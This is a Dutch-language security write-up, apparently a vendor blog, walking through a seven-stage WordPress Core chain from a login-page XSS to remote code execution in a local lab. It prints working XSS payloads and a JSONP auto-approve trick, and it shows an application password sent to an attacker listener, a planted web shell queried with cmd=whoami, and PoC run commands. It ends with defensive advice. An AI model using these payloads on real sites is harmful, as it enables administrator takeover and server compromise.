XSS2Shell: Van Nul naar Shell op WordPress

Een praktische walkthrough van een pre-authenticatie XSS-keten die kan escaleren naar remote code execution op WordPress Core, gedemonstreerd in een lokaal Docker-lab.

Alleen geautoriseerd testen.

Alles hieronder is uitgevoerd tegen een lokaal lab (WordPress 7.0.2 op localhos). Gebruik deze technieken niet tegen systemen die u niet bezit of waarvoor u geen expliciete toestemming heeft om te testen.

Managementsamenvatting

XSS2Shell is geen enkele bug — het is een zevenfasige exploitketen die begint met één teken (< gevolgd door een spatie) dat twee verschillende HTML-parsers op de inlogpagina van WordPress omzeilt, en eindigt met PHP dat op de server wordt uitgevoerd als www-data.

Wat het gevaarlijk maakt:

  1. Fase 1 vereist geen authenticatie — iedereen kan JavaScript activeren op wp-login.php.
  2. Het bevindt zich in WordPress Core — niet in een plugin; vrijwel elke ondersteunde installatie sinds 2016 is kwetsbaar.
  3. Het gebruikt de eigen code van WordPress — user-profile.js, REST JSONP, applicatiewachtwoorden, plugin-upload — als gadgets.
  4. Volledige RCE is aangetoond en erkend door WordPress — hoewel het vereist dat een ingelogde beheerder op één klik wordt misleid.

Dit artikel doorloopt elke fase met schermafbeeldingen uit ons lokale lab.

De labomgeving

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 op http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Elke WordPress-site stelt /wp-login.php bloot. Die pagina is het toegangspunt voor de gehele keten.

Fase 0: Het parser-verschil (hoofdoorzaak)

Wanneer het inloggen mislukt, herhaalt WordPress de ingevoerde gebruikersnaam in een foutmelding. De gebruikersnaam doorloopt twee sanitizers die het oneens zijn over wat een "tag" is:

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

De payload gebruikt een spatie na<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Op kwetsbare WordPress 7.0.2 overleeft dit de sanitisatie en wordt het actieve DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Op gepatchte WordPress 7.0.4 wordt dezelfde payload HTML-geëscaped in de foutmelding — geen actieve elementen.

Deze bug bestaat al sinds WordPress 4.7 (2016) en werd jarenlang gemist bij beveiligingsaudits.

Fase 1: Pre-authenticatie XSS (geen inloggen vereist)

Geïnjecteerde DOM-knooppunten komen overeen met selectors waar WordPress's eigen user-profile.js op de inlogpagina naar zoekt (geladen voor de wachtwoord-resetflow):

  1. .reset-pass-submit .wp-generate-pw wordt automatisch aangeklikt bij het laden van de pagina
  2. De klik borrelt op naar de gedelegeerde handler van #color-picker
  3. Bewakingscontrole user_id === checkuser_id slaagt omdat beide undefined zijn
  4. jQuery POSTs naar ajaxurl — maar ajaxurl bestaat niet op de inlogpagina…

Tenzij we het overschrijven:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Het <area id=ajaxurl>-element wordt window.ajaxurl. jQuery roept .toString() aan → geeft href terug. WordPress REST retourneert JSONP → jQuery globalEval() → alert()wordt uitgevoerd op de WordPress-origin.

Stage 1 demo page
Stage 1 demo page

Dien het formulier in (of open demo/stage1-preauth-xss.html en klik op Voer Fase 1 uit):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Impact in deze fase alleen al: credential-phishing op het echte domein, sessie-kaping, same-origin API-aanroepen — zonder enige authenticatie.

Fase 2: Social engineering — de klik van de beheerder

Fasen 2–7 vereisen dat een ingelogde beheerder een door de aanvaller beheerde pagina opent. Dit is de drempel die de CVSS onder de 10 houdt — maar het is realistisch voor gerichte aanvallen.

De beheerder kan ontvangen: "Uw sessie is verlopen — klik hier om opnieuw in te loggen."

Simulated phishing lure page
Simulated phishing lure page

Wanneer erop geklikt wordt, doet de aanvallerspagina:

  1. Opent een child-popup (about:blank)
  2. Stuurt het hoofdvenster door naar de autorisatiepagina voor applicatiewachtwoorden van WordPress
  3. Schrijft een XSS-formulier naar het onderliggende pop-upvenster en verzendt het automatisch naar wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Fase 3: Same-Origin Method Execution (SOME) — automatisch goedkeuren

De XSS-payload van het onderliggende venster wijzigt de JSONP-callback van alert naar:

window.opener.approve.click

WordPress REST omhult het antwoord:

/**/window.opener.approve.click({...})

De runtime lost window.opener (bovenliggend venster) → .approve (de #approve-knop) → .click() op. De Goedkeuren-knop voor applicatiewachtwoorden wordt automatisch aangeklikt — zonder gebruikersinteractie op die pagina.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Let op de callback-URL op de pagina: inloggegevens worden verzonden naar http://127.0.0.1:9090/callback?...&password=[------].

Fase 4: Onderschepping van toepassingswachtwoord

WordPress maakt een nieuw toepassingswachtwoord aan en leidt door naar de success_url van de aanvaller met de inloggegevens in de querystring:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

De aanvaller beschikt nu over HTTP Basic-auth-inloggegevens voor de WordPress REST API — verkregen via de sessie van de beheerder, zonder dat de beheerder na de initiële linkklик iets hoeft in te typen.

Fase 5: Door aanvaller beheerde pagina publiceren

Met behulp van het gestolen toepassingswachtwoord verstuurt de aanvaller een POST naar /wp-json/wp/v2/pages en publiceert een pagina met ingebedde JavaScript. Beheerders beschikken over de unfiltered_html-bevoegdheid — scripttags blijven intact.

Fase 6: Plugin uploaden via beheerdersessie

De JavaScript van de aanvaller (uitgevoerd in de browser van de beheerder op de gepubliceerde pagina):

  1. Haalt /wp-admin/plugin-install.php?tab=upload op voor de upload-nonce
  2. Verstuurt een kwaadaardig ZIP-bestand via POST naar /wp-admin/update.php?action=upload-plugin
  3. WordPress pakt het uit naar wp-content/plugins/xss2shell/

De plugin hoeft niet geactiveerd te worden. PHP-bestanden in de pluginmap zijn rechtstreeks toegankelijk via het web.

Fase 7: Uitvoering van externe code

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Antwoord:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

De aanvaller voert nu willekeurige opdrachten uit als de webservergebruiker — lees wp-config.php (databasegegevens), dump de database en beweeg zijdelings verder.

Volledige PoC-terminaluitvoer:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

De volledige keten in één oogopslag

sequenceDiagram participant A as Aanvallerserver participant V as Browser van slachtoffer participant W as WordPress 7.0.2 Note over V,W: Beheerder is ingelogd V->>A: Opent phishinglink (1 klik) A->>V: HTML van aanvaller + child-popup V->>W: Hoofdvenster → authorize-application.php V->>W: Child POST XSS-payload naar wp-login.php W->>V: JSONP voert window.opener.approve.click uit Note over V,W: Goedkeuren-knop automatisch aangeklikt W->>A: Doorverwijzing met applicatiewachtwoord A->>W: REST API publiceert pagina (Basic auth) V->>W: Beheerder bezoekt pagina → uploadt plugin-ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Hoe gevaarlijk is het werkelijk?

Wat gegarandeerd is (hoge betrouwbaarheid)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Wat aanvullende voorwaarden vereist (RCE-pad)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Ernst-kalibratie

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Conclusie: Dit is geen wormbare zero-click RCE zoals Log4Shell. Het is een diepgaand technische kwetsbaarheid op Core-niveau die ~43% van het web treft, waarbij:

  • Fase 1 alleen al een ernstige pre-auth XSS op de inlogpagina vormt
  • De volledige keten één klik van een beheerder omzet in servercompromittering
  • De onderliggende oorzaak (parser-differentieel) van toepassing is op elke codebase die meerdere HTML-parsers gebruikt

WordPress' eigen advies stelt dat RCE "omstandigheden buiten de controle van de aanvaller" en "succesvolle social engineering" vereist. Dat klopt — maar de aangetoonde keten maakt die omstandigheden bereikbaar met één enkele link.

Reproduceer de volledige keten lokaal

# 1. Start lab make up # 2. Schakel applicatiewachtwoorden in op HTTP (alleen lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Start PoC-listener python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. In de browser: # a. Log in als beheerder op http://localhost:9080/wp-login.php # b. Open http://127.0.0.1:9091/phishing-sim.html # c. Klik op "Open aanvalspagina" (sta popups toe) # d. Wacht op terminaluitvoer met shell + whoami

Verdediging

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

De fix voegt esc_html() toe aan de gebruikersnaam in het pad voor inlogfouten — zodat de string als tekst wordt behandeld en niet opnieuw als HTML wordt geparseerd.

Waarom dit belangrijk is voor beveiligingsonderzoek

Elke schakel in de keten is afzonderlijk saai:

  • Parser-differentieel → lage ernst, huishoudelijk werk
  • Verkeerd script geladen op inlogpagina → laag
  • JSONP-callback gevalideerd door regex → gemiddeld
  • Applicatiewachtwoord in doorstuur-URL → gemiddeld
  • Plugin-map voert PHP uit zonder activering → bekend ontwerp

Samengesteld zijn ze CVSS 8.9 en een shell.

De les: beoordeel bij XSS-bevindingen altijd "wat is er al geladen op deze pagina, en wat doet het als ik het de juiste DOM-nodes geef?" Ernst is een eigenschap van de keten, niet van de individuele bug.

Referenties

Vraag AI naar CyberTested

Laat ChatGPT, Gemini, Grok of Perplexity vertellen wat ze weten. Klik op een knop en ontdek wat je favoriete AI over CyberTested te zeggen heeft.

Kies regio en taal

Regio
Taal
Wil je CyberTested in actie zien?
Boek een gratis demo